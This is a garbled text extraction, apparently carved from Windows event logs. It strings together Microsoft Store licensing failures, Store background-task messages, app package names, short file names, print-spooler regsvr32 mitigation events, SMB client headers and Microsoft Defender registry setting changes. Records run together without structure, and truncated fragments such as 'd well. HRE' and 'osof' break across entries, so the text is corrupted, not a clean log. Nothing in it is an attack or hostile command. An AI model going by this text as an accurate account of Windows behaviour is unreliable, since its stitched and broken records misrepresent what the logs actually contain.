key document found for contentid 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational Getting user tickets for S-1-5-20 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x80070520 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x80070520 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x80070520 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x80070002 Microsoft-Windows-Store Microsoft-Windows-Store/Operational No user tickets captured for S-1-5-20, so this might not end well. HRESULT of WAM call: 0x80070520. Microsoft-Windows-Store Microsoft-Windows-Store/Operational Identity capture succeeded Microsoft-Windows-Store Microsoft-Windows-Store/Operational Requesting license for 2907b935-0ea5-dca1-85a7-75597491a18b at /v7.0/licenses/content (https://licensing.mp.microsoft.com) (Corr: hR8hEN1TAkGJnnsp.2) Microsoft-Windows-Store Microsoft-Windows-Store/Operational License Response: 0 leases, 0 keys for contentId 2907b935-0ea5-dca1-85a7-75597491a18b (Corr: hR8hEN1TAkGJnnsp.2, Svr: ent-55b6d968b7-qdm8t) Microsoft-Windows-Store Microsoft-Windows-Store/Operational Satisfaction error from service: 4096: Users do not possess any satisfying entitlements for the operating system content id in question. (Corr: hR8hEN1TAkGJnnsp.2, Svr: ent-55b6d968b7-qdm8t), token broker error: 0x80070520, number of MSA tickets: 0, number of AAD tickets: 0, ContentId: 2907b935-0ea5-dca1-85a7-75597491a18b, PackageFamilyName: (null), ValidExistingKey: False, HResult: 0x803f7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x803f7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: onecoreuap\enduser\winstore\licensemanager\lib\proxy.cpp(358)\LicenseManager.dll!00007FFC5A515498: (caller: 00007FFC5A50704A) Exception(5) tid(eb8) 803F7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Error 0x803f7001 in getting response, not retrying Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x803f7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: onecoreuap\enduser\winstore\licensemanager\lib\managercore.cpp(1817)\LicenseManager.dll!00007FFC5A5074CB: (caller: 00007FFC5A50DE12) Exception(6) tid(eb8) 803F7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational 2907b935-0ea5-dca1-85a7-75597491a18b eKey:NegotiatingUnleased Microsoft-Windows-Store Microsoft-Windows-Store/Operational Set results for lease = 0x0, policy = 0, operation = 3, Leasebehavior = 0 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Key:NegotiatingUnleased Key:Initial 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x803f7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x803f7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: onecoreuap\enduser\winstore\licensemanager\lib\applicensemanager.cpp(447)\LicenseManager.dll!00007FFC5A53F624: (caller: 00007FFC7BAD3663) Exception(8) tid(5d0) 803F7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational 2907b935-0ea5-dca1-85a7-75597491a18b dKey:Initial Microsoft-Windows-Store Microsoft-Windows-Store/Operational Key:Initial Key:Invalid 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Licensing content 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational Licensing 2907b935-0ea5-dca1-85a7-75597491a18b (Active) Microsoft-Windows-Store Microsoft-Windows-Store/Operational 00000214BCE1A9B0: Key Machine for content: 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational RootMachine tRoot:Valid Microsoft-Windows-Store Microsoft-Windows-Store/Operational 2907b935-0ea5-dca1-85a7-75597491a18b eKey:Initial Microsoft-Windows-Store Microsoft-Windows-Store/Operational 00000214BCE1A9B0: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false Microsoft-Windows-Store Microsoft-Windows-Store/Operational Key:Initial Key:NegotiatingUnleased 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational No key document found for contentid 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational Getting user tickets for S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x80070002 Microsoft-Windows-Store Microsoft-Windows-Store/Operational No user tickets captured for S-1-5-21-3914889805-4071901059-918772286-1001, so this might not end well. HRESULT of WAM call: 0x00000000. Microsoft-Windows-Store Microsoft-Windows-Store/Operational Identity capture succeeded Microsoft-Windows-Store Microsoft-Windows-Store/Operational Requesting license for 2907b935-0ea5-dca1-85a7-75597491a18b at /v7.0/licenses/content (https://licensing.mp.microsoft.com) (Corr: hR8hEN1TAkGJnnsp.3) Microsoft-Windows-Store Microsoft-Windows-Store/Operational License Response: 0 leases, 0 keys for contentId 2907b935-0ea5-dca1-85a7-75597491a18b (Corr: hR8hEN1TAkGJnnsp.3, Svr: 2) Microsoft-Windows-Store Microsoft-Windows-Store/Operational Satisfaction error from service: 4096: Users do not possess any satisfying entitlements for the operating system content id in question. (Corr: hR8hEN1TAkGJnnsp.3, Svr: 2), token broker error: 0x00000000, number of MSA tickets: 0, number of AAD tickets: 0, ContentId: 2907b935-0ea5-dca1-85a7-75597491a18b, PackageFamilyName: (null), ValidExistingKey: False, HResult: 0x803f7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x803f7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: onecoreuap\enduser\winstore\licensemanager\lib\proxy.cpp(358)\LicenseManager.dll!00007FFC5A515498: (caller: 00007FFC5A50704A) Exception(9) tid(5d0) 803F7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Error 0x803f7001 in getting response, not retrying Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x803f7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: onecoreuap\enduser\winstore\licensemanager\lib\managercore.cpp(1817)\LicenseManager.dll!00007FFC5A5074CB: (caller: 00007FFC5A50DE12) Exception(10) tid(5d0) 803F7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational 2907b935-0ea5-dca1-85a7-75597491a18b eKey:NegotiatingUnleased Microsoft-Windows-Store Microsoft-Windows-Store/Operational Set results for lease = 0x0, policy = 0, operation = 3, Leasebehavior = 0 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Key:NegotiatingUnleased Key:Initial 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x803f7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: hr: 0x803f7001 osof Microsoft-Windows-Store Microsoft-Windows-Store/Operational Failure Message: onecoreuap\enduser\winstore\licensemanager\lib\applicensemanager.cpp(447)\LicenseManager.dll!00007FFC5A53F624: (caller: 00007FFC7BAD3663) Exception(12) tid(eb8) 803F7001 Microsoft-Windows-Store Microsoft-Windows-Store/Operational 2907b935-0ea5-dca1-85a7-75597491a18b dKey:Initial Microsoft-Windows-Store Microsoft-Windows-Store/Operational Key:Initial Key:Invalid 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft-Windows-Store Microsoft-Windows-Store/Operational Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0 Windows-ApplicationModel-Store-SDK Microsoft-Windows-Store/Operational Message Line Number File Name Member Name Task of type 'WinStore.Tasks.AuthTokenRefresherTask+Runner' with name 'AuthTokenRefresherTask_System' started. .\src\Core\WinStore.Tasks\Helpers\BackgroundTaskRunner.cs Windows-ApplicationModel-Store-SDK Microsoft-Windows-Store/Operational Task of type 'WinStore.Tasks.StoreDbUpdaterTask+Runner' with name 'StoreDbUpdaterTask_System' started. .\src\Core\WinStore.Tasks\Helpers\BackgroundTaskRunner.cs Windows-ApplicationModel-Store-SDK Microsoft-Windows-Store/Operational Not running AuthTokenRefresher because it's not due. .\src\Core\WinStore.Tasks\AuthTokenRefresherTask.cs RunAsync Windows-ApplicationModel-Store-SDK Microsoft-Windows-Store/Operational Task of type 'WinStore.Tasks.AuthTokenRefresherTask+Runner' with name 'AuthTokenRefresherTask_System' finished. .\src\Core\WinStore.Tasks\Helpers\BackgroundTaskRunner.cs Windows-ApplicationModel-Store-SDK Microsoft-Windows-Store/Operational Task of type 'WinStore.Tasks.StoreDbUpdaterTask+Runner' with name 'StoreDbUpdaterTask_System' finished. .\src\Core\WinStore.Tasks\Helpers\BackgroundTaskRunner.cs Microsoft-Windows-Store Microsoft-Windows-Store/Operational Skipping license manager: PFN Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe Microsoft-Windows-Store Microsoft-Windows-Store/Operational Skipping license manager: PFN MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy Microsoft-Windows-Store Microsoft-Windows-Store/Operational Skipping license manager: PFN Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe Microsoft-Windows-Store Microsoft-Windows-Store/Operational Skipping license manager: PFN Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe Microsoft-Windows-Store Microsoft-Windows-Store/Operational Skipping license manager: PFN MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy Microsoft-Windows-Store Microsoft-Windows-Store/Operational Skipping license manager: PFN Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe d well. HRE Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-WFP Microsoft-Windows-WFP/Operational EventData Data ProcessId TxnTimeInMSec CommitTimeInMSec WatchdogTimeoutInMSec Microsoft-Windows-WFP Microsoft-Windows-WFP/Operational Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.WindowsAlarms_1.1.61.0_neutral_split.scale-100_8wekyb3d8bbwe Microsoft.WindowsAlarms_1.1.61.0_neutral_split.scale-125_8wekyb3d8bbwe Microsoft.WindowsAlarms_1.1.61.0_x64__8wekyb3d8bbwe Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe8b Microsoft.WindowsAppRuntime.1.5_5001.311.2039.0_x64__8wekyb3d8bbwed Microsoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbwed Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe Microsoft.WindowsCalculator_11.2502.2.0_neutral_split.scale-125_8wekyb3d8bbwe Microsoft.WindowsCalculator_11.2502.2.0_x64__8wekyb3d8bbwe3 Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe5n Microsoft.XboxGameCallableUI_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy n1h2txyewy MIE1F0~1.0_X MIE206~1.SCA MIE2CB~1.0_X MIE2EF~1.0_X MIE467~1.SCA MIEB38~1.SCA MIF1F7~1.0_N MIF4BD~1.0_X MIF4F1~1.0_X MIF583~1.0_N MIF5EC~1.0_X MIF713~1.0_N MIF7EA~1.0_X MIF935~1.0_X MIFA3F~1.SCArev MIFB09~1.0_Xrev MIFC93~1.0_Nrev MIFD49~1.0_X5.1 MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe MSTEAM~1.439rev Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewyIN WINDOW~1.0_N WINDOW~1.100 WINDOW~2.100 WINDOW~2.100 Microsoft.StorePurchaseApp_22408.1400.1.0_x64__8wekyb3d8bbwe Microsoft.VCLibs.140.00_14.0.33519.0_x86__8wekyb3d8bbwe Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe~ Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe8b Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwel_ Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbweh2t Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwe5n Microsoft.XboxIdentityProvider_12.130.2510.6003_neutral_split.scale-200_8wekyb3d8bbwe MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy MICROS~1.0_N MICROS~4.0_N MIE010~1.0_N Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Security-Mitigations Microsoft-Windows-Security-Mitigations/KernelMode EventData Data ProcessPathLength ProcessPath ProcessCommandLineLength ProcessCommandLine CallingProcessId CallingProcessCreateTime CallingProcessStartKey CallingProcessSignatureLevel #CallingProcessSectionSignatureLevel CallingProcessProtection CallingThreadId CallingThreadCreateTime ChildImagePathNameLength ChildImagePathName ChildCommandLineLength ChildCommandLine 4\Device\HarddiskVolume3\Windows\System32\spoolsv.exe C:\WINDOWS\System32\spoolsv.exe C:\WINDOWS\system32\regsvr32.exe]C:\WINDOWS\system32\regsvr32.exe /s "C:\WINDOWS\system32\spool\drivers\x64\3\PrintConfig.dll" Microsoft-Windows-Security-Mitigations Microsoft-Windows-Security-Mitigations/KernelMode 4\Device\HarddiskVolume3\Windows\System32\spoolsv.exe C:\WINDOWS\System32\spoolsv.exe C:\WINDOWS\SysWOW64\regsvr32.exeIC:\WINDOWS\SysWOW64\regsvr32.exe /s "C:\WINDOWS\SysWOW64\PrintConfig.dll" Microsoft-Windows-Security-Mitigations Microsoft-Windows-Security-Mitigations/KernelMode 4\Device\HarddiskVolume3\Windows\System32\spoolsv.exe C:\WINDOWS\System32\spoolsv.exe C:\WINDOWS\system32\regsvr32.exe]C:\WINDOWS\system32\regsvr32.exe /s "C:\WINDOWS\system32\spool\drivers\x64\3\PrintConfig.dll" Microsoft-Windows-Security-Mitigations Microsoft-Windows-Security-Mitigations/KernelMode 4\Device\HarddiskVolume3\Windows\System32\spoolsv.exe C:\WINDOWS\System32\spoolsv.exe C:\WINDOWS\SysWOW64\regsvr32.exeIC:\WINDOWS\SysWOW64\regsvr32.exe /s "C:\WINDOWS\SysWOW64\PrintConfig.dll" 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-Security-Mitigations Microsoft-Windows-Security-Mitigations/KernelMode ProcessPathLength ProcessPath ProcessCommandLineLength ProcessCommandLine CallingProcessId CallingProcessCreateTime CallingProcessStartKey CallingProcessSignatureLevel #CallingProcessSectionSignatureLevel CallingProcessProtection CallingThreadId CallingThreadCreateTime 4\Device\HarddiskVolume3\Windows\System32\spoolsv.exe C:\WINDOWS\System32\spoolsv.exe APPXSI~1.P7X AppxSignature.p7x AppxSignature.p7x WofCompressedData $DSC MPCMDR~2.PF0 MPCMDRUN.EXE-EFB0FDF1.pf APPXSI~1.P7X AppxSignature.p7x APPXSI~1.P7X AppxSignature.p7x Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID UserData Microsoft-Windows-SMBClient Microsoft-Windows-SMBClient/Operational EventData Smb2Namespace ComponentCapabilities PatchNumber 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-SMBClient Microsoft-Windows-SMBClient/Operational 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-SMBClient Microsoft-Windows-SMBClient/Operational Microsoft-Windows-SMBClient Microsoft-Windows-SMBClient/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-SMBClient Microsoft-Windows-SMBClient/Operational Microsoft-Windows-SMBClient Microsoft-Windows-SMBClient/Operational Microsoft-Windows-SMBClient Microsoft-Windows-SMBClient/Operational Microsoft-Windows-SMBClient Microsoft-Windows-SMBClient/Operational Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational EventData Data Product Name Product Version Old Value New Value Microsoft Defender Antivirus 4.18.25080.5 Default\InstallLocation = C:\Program Files\Windows Defender HKLM\SOFTWARE\Microsoft\Windows Defender\InstallLocation = C:\Program Files\Windows Defender\ Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\IsServiceRunning = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\IsServiceRunning = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\VerifiedAndReputableTrustModeEnabled = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\VerifiedAndReputableTrustModeEnabled = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\HybridModeEnabled = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\HybridModeEnabled = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 N/A\ProductType = HKLM\SOFTWARE\Microsoft\Windows Defender\ProductType = 0x2 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\WdConfigHash = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdConfigHash = 0xC28A5DC Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\MdEnableCoreSvcRemediation = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\MdEnableCoreSvcRemediation = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 N/A\Diagnostics\InitializingComponentProgress = HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = PostPlatformUpdate Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\ManagedDefenderProductType = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\ManagedDefenderProductType = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\ServiceStartStates = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\ServiceStartStates = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = PostPlatformUpdate HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = LoadingEngine Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\Features\TamperProtection = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\Features\TPExclusions = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TPExclusions = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\Scan\ScheduleQuickScanTime = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\Scan\ScheduleQuickScanTime = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\UX Configuration\UILockdown = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration\UILockdown = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\Windows Defender Exploit Guard\Network Protection\EnableNetworkProtection = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\Windows Defender Exploit Guard\Network Protection\EnableNetworkProtection = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\SAC_ClientWaitForRpc = 0x1 HKLM\SOFTWARE\Microsoft\Windows Defender\SAC_ClientWaitForRpc = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\UUPFlags = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\UUPFlags = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\ProductAppDataPath = C:\ProgramData\Microsoft\Windows Defender HKLM\SOFTWARE\Microsoft\Windows Defender\ProductAppDataPath = C:\ProgramData\Microsoft\Windows Defender Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\WdTimerInitalDelay = 0x1388 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdTimerInitalDelay = 0x493E2 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\MdDisableResController = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\MdDisableResController = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\MdTrustedRootCertThumbPrints = HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\MdTrustedRootCertThumbPrints = CB3CCBB76031E5E0138F8DD39A23F9DE47FFC35E43C1144CEA27D46A5AB1CB5F|4348A0E9444C78CB265E058D5E8944B4D84F9662BD26DB257F8934A443C70161|31AD6648F8104138C738F39EA4320133393E3A18CC02296EF97C2AC9EF6731D0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\MdAlertMonitorWindow = 0x19 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\MdAlertMonitorWindow = 0x19 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\MdEnableDailySensorChecks = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\MdEnableDailySensorChecks = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdConfigHash = 0xC28A5DC HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdConfigHash = 0x5DA998DE Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\MdTrustedSubjectOrgs = HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\MdTrustedSubjectOrgs = Microsoft Corporation|DigiCert Inc Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\WdTimerMonitorInterval = 0x1388 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdTimerMonitorInterval = 0x493E0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\MdAlertMinInterval = 0x3C HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\MdAlertMinInterval = 0x3C Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\MdEnableCoreSvcRemediation = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\MdEnableCoreSvcRemediation = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\CpuSensor\HighThresholds = 95| HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\CpuSensor\HighThresholds = 45|95|20 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\CpuSensor\MonitoredTargets = msmpeng| HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\CpuSensor\MonitoredTargets = mpdefendercoreservice|msmpeng|nissrv Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\CpuSensor\LowThresholds = 5| HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\CpuSensor\LowThresholds = 45|95|20 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\CrashSensor\MonitoredTargets = msmpeng| HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\CrashSensor\MonitoredTargets = Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\DiskSensor\HighThresholds = HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\DiskSensor\HighThresholds = Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\DiskSensor\MonitoredTargets = HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\DiskSensor\MonitoredTargets = Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\DiskSensor\LowThresholds = HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\DiskSensor\LowThresholds = Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\MemorySensor\EnableLeakDetector = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\MemorySensor\EnableLeakDetector = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\MemorySensor\HighThresholds = 1024| HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\MemorySensor\HighThresholds = 80|2024|200 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\MemorySensor\MonitoredTargets = msmpeng| HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\MemorySensor\MonitoredTargets = mpdefendercoreservice|msmpeng|nissrv Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\CoreService\MemorySensor\LowThresholds = 2| HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\MemorySensor\LowThresholds = 80|2024|200 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = LoadingEngine HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = ServiceStartedSuccessfully Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\Features\TamperProtectionSource = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtectionSource = 0x5 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\115 = 0xF Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 